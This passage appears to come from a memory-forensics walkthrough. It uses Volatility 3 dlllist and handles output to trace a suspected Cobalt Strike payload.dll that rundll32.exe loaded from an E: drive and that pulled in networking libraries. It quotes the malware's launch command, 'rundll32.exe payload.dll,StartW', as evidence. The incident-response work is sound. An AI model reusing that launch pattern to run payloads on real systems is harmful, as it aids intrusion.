3648 rundll32.exe 0x7ffaa1820000 0x126000 RPCRT4.dll C:\Windows\System32\RPCRT4.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa3530000 0xad000 shcore.dll C:\Windows\System32\shcore.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa2b70000 0x1d000 imagehlp.dll C:\Windows\System32\imagehlp.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x6bac0000 0x4f000 payload.dll E:\payload.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa2750000 0x19d000 user32.dll C:\Windows\System32\user32.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa14a0000 0x22000 win32u.dll C:\Windows\System32\win32u.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa2900000 0x2c000 GDI32.dll C:\Windows\System32\GDI32.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa1330000 0x115000 gdi32full.dll C:\Windows\System32\gdi32full.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa0e20000 0x9d000 msvcp_win.dll C:\Windows\System32\msvcp_win.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa2b40000 0x30000 IMM32.DLL C:\Windows\System32\IMM32.DLL 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffa9e7a0000 0x9e000 uxtheme.dll C:\Windows\system32\uxtheme.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa2b90000 0x114000 MSCTF.dll C:\Windows\System32\MSCTF.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa2d10000 0xcd000 OLEAUT32.dll C:\Windows\System32\OLEAUT32.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa2360000 0x9c000 sechost.dll C:\Windows\System32\sechost.dll 2023-08-10 09:15:14.000000 Disabled
3648 rundll32.exe 0x7ffaa1770000 0xaf000 ADVAPI32.dll C:\Windows\System32\ADVAPI32.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa959c0000 0x4d9000 WININET.dll C:\Windows\System32\WININET.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa2630000 0x6b000 WS2_32.dll C:\Windows\System32\WS2_32.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa0660000 0x18000 CRYPTSP.dll C:\Windows\System32\CRYPTSP.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa9fd90000 0x34000 rsaenh.dll C:\Windows\system32\rsaenh.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa14d0000 0x27000 bcrypt.dll C:\Windows\System32\bcrypt.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa0680000 0xc000 CRYPTBASE.dll C:\Windows\System32\CRYPTBASE.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa0d90000 0x82000 bcryptPrimitives.dll C:\Windows\System32\bcryptPrimitives.dll
2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa0c80000 0x32000 SspiCli.dll C:\Windows\System32\SspiCli.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa908e0000 0x17000 napinsp.dll C:\Windows\system32\napinsp.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa8ffe0000 0x1b000 pnrpnsp.dll C:\Windows\system32\pnrpnsp.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa8b4b0000 0x15000 wshbth.dll C:\Windows\system32\wshbth.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa9c740000 0x1d000 NLAapi.dll C:\Windows\system32\NLAapi.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa0160000 0x3c000 IPHLPAPI.DLL C:\Windows\System32\IPHLPAPI.DLL 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa0470000 0x6a000 mswsock.dll C:\Windows\System32\mswsock.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa01a0000 0xcb000 DNSAPI.dll C:\Windows\SYSTEM32\DNSAPI.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa28f0000 0x8000 NSI.dll C:\Windows\System32\NSI.dll 2023-08-10 09:15:15.000000
Disabled
3648 rundll32.exe 0x7ffa8ffc0000 0x12000 winrnr.dll C:\Windows\System32\winrnr.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa99300000 0x82000 fwpuclnt.dll C:\Windows\System32\fwpuclnt.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa993f0000 0xa000 rasadhlp.dll C:\Windows\System32\rasadhlp.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa970d0000 0x2b1000 iertutil.dll C:\Windows\System32\iertutil.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa9ee70000 0x793000 windows.storage.dll C:\Windows\SYSTEM32\windows.storage.dll
2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa0710000 0x2e000 Wldp.dll C:\Windows\System32\Wldp.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa1710000 0x55000 shlwapi.dll C:\Windows\System32\shlwapi.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffaa0cd0000 0x1f000 profapi.dll C:\Windows\System32\profapi.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa86730000 0x17000 ondemandconnroutehelper.dll C:\Windows\SYSTEM32\ondemandconnroutehelper.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa99bd0000 0x10a000 winhttp.dll C:\Windows\SYSTEM32\winhttp.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa9ec70000 0x12000 kernel.appcore.dll C:\Windows\SYSTEM32\kernel.appcore.dll 2023-08-10 09:15:15.000000 Disabled
3648 rundll32.exe 0x7ffa9a9a0000 0xb000 WINNSI.DLL C:\Windows\SYSTEM32\WINNSI.DLL 2023-08-10 09:15:15.000000 Disabled
From dlllist for PID 3648, we can confirm:
rundll32.exeloadedpayload.dll- Full path:
E:\payload.dll - Base address:
0x6bac0000 - Size:
0x4f000 - It loaded at 09:15:14, the same time
rundll32.exestarted
It also loaded networking DLLs such as:
WININET.dllWS2_32.dllDNSAPI.dllwinhttp.dll
The evidence chain at this point was:
explorer.exe
→ rundll32.exe payload.dll,StartW
→ loads E:\payload.dll
→ YARA detects Cobalt Strike indicators
→ networking libraries are loaded
This strongly supports that PID 3648 executed the suspicious payload.dll with network-capable libraries loaded. windows.dlllist also established the DLL path:
E:\payload.dll
So we know the DLL’s load path was the E: drive. We do not yet know how it originally arrived there or whether it was downloaded, copied, or mounted.
Inspecting Process Handles
The windows.handles plugin shows files and registry keys currently accessed by a process.
A handle is a reference given by Windows when a process opens a file, registry key, or other object. The process uses that handle to read, write, or modify it.
Forensic value:
- Identifies files accessed by suspicious processes
- Reveals registry keys being used
- Helps understand malware behavior
- Shows what a process was interacting with during memory capture
PS C:\Users\johndoe\Desktop\volatility3-develop> python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.handles --pid 3648
Volatility 3 Framework 2.5.0
PID Process Offset HandleValue Type GrantedAccess Name
3648 rundll32.exe 0x800ae4d88960 0x4 Event 0x1f0003
3648 rundll32.exe 0x800ae4d909e0 0x8 Event 0x1f0003
3648 rundll32.exe 0x800ae1da6df0 0xc WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae40b1140 0x10 IoCompletion 0x1f0003
3648 rundll32.exe 0x800ae139dd70 0x14 TpWorkerFactory 0xf00ff
3648 rundll32.exe 0x800ae0cd4e90 0x18 IRTimer 0x100002
3648 rundll32.exe 0x800ae1da8240 0x1c WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae0cd5600 0x20 IRTimer 0x100002
3648 rundll32.exe 0x800ae1da83e0 0x24 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae40b8830 0x28 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40b97f0 0x2c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ba350 0x30 EtwRegistration 0x804
3648 rundll32.exe 0xdf8539094560 0x34 Directory 0x3 KnownDlls
3648 rundll32.exe 0x800ae4d90560 0x38 Event 0x1f0003
3648 rundll32.exe 0x800ae4d905e0 0x3c Event 0x1f0003
3648 rundll32.exe 0x800ae17c3080 0x40 Thread 0x1fffff Tid 2228 Pid 3648
3648 rundll32.exe 0x800ae40bfbb0 0x44 EtwRegistration 0x804
3648 rundll32.exe 0x800ae1d3d450 0x48 Mutant 0x1f0001 SM0:3648:304:WilStaging_02
3648 rundll32.exe 0x800ae4a097a0 0x4c ALPC Port 0x1f0001
3648 rundll32.exe 0xdf853943d920 0x50 Directory 0xf BaseNamedObjects
3648 rundll32.exe 0x800ae05465e0 0x54 Semaphore 0x1f0003 SM0:3648:304:WilStaging_02_p0
3648 rundll32.exe 0x800ae0546680 0x58 Semaphore 0x1f0003 SM0:3648:304:WilStaging_02_p0h
3648 rundll32.exe 0x800ae40c1430 0x5c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40c25b0 0x60 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40c2cb0 0x64 EtwRegistration 0x804
3648 rundll32.exe 0x800ae0cd7d50 0x68 IRTimer 0x100002
3648 rundll32.exe 0x800ae2959d10 0x6c TpWorkerFactory 0xf00ff
3648 rundll32.exe 0x800ae40c3f00 0x70 IoCompletion 0x1f0003
3648 rundll32.exe 0x800ae1da84b0 0x74 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae0cd7b30 0x78 IRTimer 0x100002
3648 rundll32.exe 0x800ae1da7c90 0x7c WaitCompletionPacket 0x1
3648 rundll32.exe 0xdf8541a03a90 0x80 Key 0x20019 MACHINE\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS
3648 rundll32.exe 0xdf8541a13330 0x84 Key 0x20019 MACHINE
3648 rundll32.exe 0x800ae4d91b60 0x88 Event 0x1f0003
3648 rundll32.exe 0x800ae1da8720 0x8c WaitCompletionPacket 0x1
3648 rundll32.exe 0xdf8541a07d80 0x90 Key 0x20019 MACHINE
3648 rundll32.exe 0xdf8541a07b60 0x94 Key 0x20019 MACHINE\SOFTWARE\MICROSOFT\OLE
3648 rundll32.exe 0x800ae4d91960 0x98 Event 0x1f0003
3648 rundll32.exe 0xdf8541a12890 0xa0 Partition 0x20019
3648 rundll32.exe 0x800ae4d919e0 0xa4 Event 0x1f0003
3648 rundll32.exe 0x800ae40c4610 0xa8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40c4a70 0xac EtwRegistration 0x804
3648 rundll32.exe 0x800ae40c9150 0xb0 EtwRegistration 0x804
3648 rundll32.exe 0x800ae4d91be0 0xb4 Event 0x1f0003
3648 rundll32.exe 0x800ae4d91560 0xb8 Event 0x1f0003
3648 rundll32.exe 0x800ae4d91ee0 0xbc Event 0x1f0003
3648 rundll32.exe 0x800ae4d91c60 0xc0 Event 0x1f0003
3648 rundll32.exe 0x800ae4d91660 0xc4 Event 0x1f0003
3648 rundll32.exe 0x800ae4d915e0 0xc8 Event 0x1f0003
3648 rundll32.exe 0x800ae40caab0 0xcc EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cab90 0xd0 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40caf10 0xd4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ccdb0 0xd8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cca30 0xdc EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cd830 0xe0 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cd9f0 0xe4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cdbb0 0xe8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cc790 0xec EtwRegistration 0x804
3648 rundll32.exe 0xdf8541a0a1a0 0xf0 Key 0x1 MACHINE\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER
3648 rundll32.exe 0x800ae1347080 0xf4 Thread 0x1fffff Tid 5528 Pid 3648
3648 rundll32.exe 0x800ae40cc5d0 0xf8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cdc90 0xfc EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cd2f0 0x100 EtwRegistration 0x804
3648 rundll32.exe 0xdf8541a09b40 0x104 Key 0x9 MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS
3648 rundll32.exe 0x800ae40cc242 0x10c Session 0x1f0003
3648 rundll32.exe 0x800adf624d20 0x110 WindowStation 0xf037f WinSta0
3648 rundll32.exe 0x800adf5fda80 0x114 Desktop 0xf01ff Default
3648 rundll32.exe 0x800adf624d20 0x118 WindowStation 0xf037f WinSta0
3648 rundll32.exe 0x800ae2f02770 0x11c File 0x100001 \Device\HarddiskVolume3\Windows\System32\en-US\rundll32.exe.mui
3648 rundll32.exe 0x800ae40cd130 0x120 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cc410 0x128 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cc4f0 0x12c EtwRegistration 0x804
3648 rundll32.exe 0x800adf453080 0x130 Thread 0x1fffff Tid 792 Pid 3648
3648 rundll32.exe 0x800ae40cc330 0x134 EtwRegistration 0x804
3648 rundll32.exe 0x800ae137dce0 0x138 ALPC Port 0x1f0001
3648 rundll32.exe 0x800ae40cc6b0 0x13c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cc870 0x140 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cc950 0x144 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cd210 0x148 EtwRegistration 0x804
3648 rundll32.exe 0x800ae190c080 0x14c Thread 0x1fffff Tid 2156 Pid 3648
3648 rundll32.exe 0x800ae40ccb10 0x150 EtwRegistration 0x804
3648 rundll32.exe 0xdf85394d8830 0x154 Section 0x4 Theme2077877619
3648 rundll32.exe 0xdf85394d82f0 0x158 Section 0x4 Theme578244626
3648 rundll32.exe 0x800ae40cf5f0 0x15c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ce470 0x160 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cf7b0 0x164 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ceb70 0x168 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ce550 0x16c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ced30 0x170 EtwRegistration 0x804
3648 rundll32.exe 0xdf8541a05960 0x174 Key 0xf USER\S-1-5-21-414731039-2985344906-4266326170-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\EXTENSIBLE CACHE
3648 rundll32.exe 0x800ae40cf350 0x178 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ce8d0 0x17c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cdf30 0x180 EtwRegistration 0x804
3648 rundll32.exe 0x800ae1e1d6e0 0x184 Semaphore 0x100003
3648 rundll32.exe 0x800ae1e1df60 0x188 Semaphore 0x100003
3648 rundll32.exe 0x800ae1e1dde0 0x18c Event 0x1f0003
3648 rundll32.exe 0x800ae4439c70 0x190 File 0x100003 \Device\KsecDD
3648 rundll32.exe 0x800ae40ce390 0x194 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ce0f0 0x198 EtwRegistration 0x804
3648 rundll32.exe 0xdf8541a0d280 0x19c Key 0x20019 MACHINE\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS
3648 rundll32.exe 0x800ae2f03470 0x1a0 File 0x100001 \Device\KsecDD
3648 rundll32.exe 0x800ae40cec50 0x1a4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ce1d0 0x1a8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ce710 0x1ac EtwRegistration 0x804
3648 rundll32.exe 0x800ae460acd0 0x1b0 File 0x100001 \Device\CNG
3648 rundll32.exe 0x800ae40cde50 0x1b4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae1e1d860 0x1b8 Semaphore 0x100003
3648 rundll32.exe 0x800ae1e1de60 0x1bc Semaphore 0x100003
3648 rundll32.exe 0x800ae1e1d560 0x1c0 Event 0x1f0003
3648 rundll32.exe 0x800ae40ce2b0 0x1c4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cf430 0x1c8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cf6d0 0x1cc EtwRegistration 0x804
3648 rundll32.exe 0x800ae1e1e160 0x1d0 Event 0x1f0003
3648 rundll32.exe 0x800ae190c080 0x1d4 Thread 0x1fffff Tid 2156 Pid 3648
3648 rundll32.exe 0x800ae18dbce0 0x1d8 ALPC Port 0x1f0001
3648 rundll32.exe 0x800ae190c080 0x1dc Thread 0x1fffff Tid 2156 Pid 3648
3648 rundll32.exe 0x800ae1e1d1e0 0x1e0 Event 0x1f0003
3648 rundll32.exe 0xdf8541a109c0 0x1e4 Key 0x20019 MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9
3648 rundll32.exe 0x800ae1e1fee0 0x1e8 Event 0x1f0003
3648 rundll32.exe 0x800ae40cee10 0x1f0 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ce630 0x1f4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae1e1f7e0 0x1f8 Event 0x1f0003
3648 rundll32.exe 0x800ae1e1ffe0 0x1fc Event 0x1f0003
3648 rundll32.exe 0x800ae1e20160 0x200 Event 0x1f0003
3648 rundll32.exe 0x800ae40cf0b0 0x204 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40ce9b0 0x208 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cea90 0x20c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cfcf0 0x210 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d1110 0x214 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d11f0 0x218 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d0690 0x21c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40cfb30 0x220 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d0a10 0x224 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d13b0 0x228 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d0af0 0x22c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d0150 0x230 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d0bd0 0x234 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d1e30 0x238 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d2d10 0x23c EtwRegistration 0x804
3648 rundll32.exe 0x800ae0cbe460 0x244 Event 0x1f0003
3648 rundll32.exe 0x800ae40d3090 0x248 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d1d50 0x24c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d2df0 0x250 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d2450 0x254 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d1f10 0x258 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d2c30 0x25c EtwRegistration 0x804
3648 rundll32.exe 0x800ae0cc79e0 0x260 Event 0x1f0003
3648 rundll32.exe 0x800ae40d19d0 0x264 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d2990 0x268 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d2370 0x26c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d27d0 0x270 EtwRegistration 0x804
3648 rundll32.exe 0x800ae11c3560 0x274 Event 0x1f0003
3648 rundll32.exe 0x800ae4775750 0x278 File 0x100080 \Device\Nsi
3648 rundll32.exe 0xdf853f263410 0x27c Key 0x20019 MACHINE\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES
3648 rundll32.exe 0xdf853f267e70 0x280 Key 0x20019 MACHINE\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES
3648 rundll32.exe 0x800ae40d2290 0x284 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d21b0 0x288 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d20d0 0x28c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d2ed0 0x290 EtwRegistration 0x804
3648 rundll32.exe 0x800ae4d8bc60 0x294 Semaphore 0x1f0003
3648 rundll32.exe 0x800ae4a9bdc0 0x298 ALPC Port 0x1f0001
3648 rundll32.exe 0xdf8541a03650 0x29c Key 0xf USER\S-1-5-21-414731039-2985344906-4266326170-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE
3648 rundll32.exe 0x800ae40d2a70 0x2a0 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d2530 0x2a4 EtwRegistration 0x804
3648 rundll32.exe 0xdf8541a06b70 0x2a8 Key 0xf003f USER\S-1-5-21-414731039-2985344906-4266326170-1000
3648 rundll32.exe 0xdf8541a08820 0x2ac Key 0x20019 USER\S-1-5-21-414731039-2985344906-4266326170-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS
3648 rundll32.exe 0xdf8541a0db00 0x2b0 Key 0x20019 MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE
3648 rundll32.exe 0x800ae40d2b50 0x2b4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3170 0x2b8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d26f0 0x2bc EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d1650 0x2c0 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d1730 0x2c4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d1810 0x2c8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d18f0 0x2cc EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d28b0 0x2d0 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d4670 0x2d4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d4c90 0x2d8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3f70 0x2dc EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3bf0 0x2e0 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3b10 0x2e4 EtwRegistration 0x804
3648 rundll32.exe 0xdf853b7129a0 0x2e8 Section 0x6
3648 rundll32.exe 0x800ae40d3950 0x2ec EtwRegistration 0x804
3648 rundll32.exe 0xdf8541a080b0 0x2f0 Key 0x1 USER\S-1-5-21-414731039-2985344906-4266326170-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER
3648 rundll32.exe 0x800ae40d4750 0x2f4 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3790 0x2f8 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d4210 0x2fc EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d49f0 0x300 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d42f0 0x304 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d43d0 0x308 EtwRegistration 0x804
3648 rundll32.exe 0x800ae1b08910 0x310 ALPC Port 0x1f0001
3648 rundll32.exe 0x800ae40d4ad0 0x314 EtwRegistration 0x804
3648 rundll32.exe 0xdf853c84b220 0x318 Section 0x2 windows_webcache_counters_{9B6AB5B3-91BC-4097-835C-EA2DEC95E9CC}_S-1-5-21-414731039-2985344906-4266326170-1000
3648 rundll32.exe 0x800ae40d44b0 0x31c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3cd0 0x320 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d4d70 0x324 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3870 0x328 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d4590 0x32c EtwRegistration 0x804
3648 rundll32.exe 0xdf8541a12ef0 0x330 TmTx 0x20019
3648 rundll32.exe 0xdf8541a12120 0x334 PcwObject 0x1
3648 rundll32.exe 0xdf8541a12cd0 0x344 DxgkCurrentDxgThreadObject 0x20019
3648 rundll32.exe 0x800ae40d4830 0x358 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3250 0x35c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3db0 0x360 EtwRegistration 0x804
3648 rundll32.exe 0x800ae4d90fe0 0x364 Event 0x1f0003
3648 rundll32.exe 0x800ae1db7120 0x368 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae4d90360 0x380 Event 0x1f0003
3648 rundll32.exe 0x800ae1db8160 0x384 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae40d3410 0x388 EtwRegistration 0x804
3648 rundll32.exe 0x800ae16e8080 0x38c Thread 0x1fffff Tid 7860 Pid 3648
3648 rundll32.exe 0x800ae40d35d0 0x394 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d34f0 0x398 EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d3a30 0x39c EtwRegistration 0x804
3648 rundll32.exe 0x800ae40d5e10 0x3a0 EtwRegistration 0x804
3648 rundll32.exe 0x800ae4d91d60 0x3a4 Event 0x1f0003
3648 rundll32.exe 0xdf8541a0ed10 0x3a8 Key 0x20019 MACHINE\SOFTWARE\POLICIES\MICROSOFT\WINDOWS
3648 rundll32.exe 0x800ae1db9ea0 0x3b8 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae4d92160 0x3bc Event 0x1f0003
3648 rundll32.exe 0x800ae1dbad40 0x3c0 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae48117d0 0x3c8 Mutant 0x1f0001 SM0:3648:120:WilError_03
3648 rundll32.exe 0x800ae4db9950 0x3cc Semaphore 0x1f0003 SM0:3648:120:WilError_03_p0
3648 rundll32.exe 0x800ae40d6180 0x3d0 IoCompletion 0x1f0003
3648 rundll32.exe 0xdf8541a150f0 0x3d4 Key 0x10 MACHINE\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\TENANTRESTRICTIONS\PAYLOAD
3648 rundll32.exe 0xdf8541a13660 0x3e4 Key 0x10 MACHINE\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\TENANTRESTRICTIONS\PAYLOAD
3648 rundll32.exe 0x800ae09d1570 0x3e8 ALPC Port 0x1f0001
3648 rundll32.exe 0x800ae4d92260 0x3f4 Event 0x1f0003
3648 rundll32.exe 0x800ae4d930e0 0x3f8 Event 0x1f0003
3648 rundll32.exe 0x800ae4d921e0 0x3fc Event 0x1f0003
3648 rundll32.exe 0x800ae1dbb150 0x404 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae4d92960 0x408 Event 0x1f0003
3648 rundll32.exe 0x800ae1dbc740 0x40c WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae4d93c60 0x410 Event 0x1f0003
3648 rundll32.exe 0x800ae4d948e0 0x414 Event 0x1f0003
3648 rundll32.exe 0x800ae4d92a60 0x418 Event 0x1f0003
3648 rundll32.exe 0x800ae4d92360 0x41c Event 0x1f0003
3648 rundll32.exe 0x800ae4d92ae0 0x420 Event 0x1f0003
3648 rundll32.exe 0x800ae1dbf0b0 0x424 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae4d94460 0x428 Event 0x1f0003
3648 rundll32.exe 0x800ae1dbdc60 0x42c WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae4d943e0 0x430 Event 0x1f0003
3648 rundll32.exe 0x800ae4d94d60 0x434 Event 0x1f0003
3648 rundll32.exe 0x800ae4d94de0 0x438 Event 0x1f0003
3648 rundll32.exe 0x800ae1dc0ab0 0x43c WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae04e1cb0 0x440 TpWorkerFactory 0xf00ff
3648 rundll32.exe 0x800ae12de4b0 0x444 IRTimer 0x100002
3648 rundll32.exe 0x800ae1dc0500 0x448 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae12df390 0x44c IRTimer 0x100002
3648 rundll32.exe 0x800ae1dbf660 0x450 WaitCompletionPacket 0x1
3648 rundll32.exe 0x800ae23b4a60 0x458 ALPC Port 0x1f0001
3648 rundll32.exe 0x800ae0578070 0x468 ALPC Port 0x1f0001
3648 rundll32.exe 0x800ae4dbb890 0x46c Semaphore 0x1f0003 SM0:3648:120:WilError_03_p0h
3648 rundll32.exe 0x800ae4439e10 0x474 File 0x100001 \Device\HarddiskVolume3\Windows\System32\en-US\mswsock.dll.mui
3648 rundll32.exe 0x800ae22d1f60 0x480 Event 0x1f0003
3648 rundll32.exe 0x800ae476a630 0x484 File 0x120089 \Device\NamedPipe\
3648 rundll32.exe 0xdf853c619a50 0x488 Section 0x4
3648 rundll32.exe 0x800ae1858860 0x48c Event 0x1f0003
3648 rundll32.exe 0x800ae1063910 0x494 EtwRegistration 0x804
3648 rundll32.exe 0xdf8541a0b4c0 0x498 Key 0x8 USER\S-1-5-21-414731039-2985344906-4266326170-1000\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION
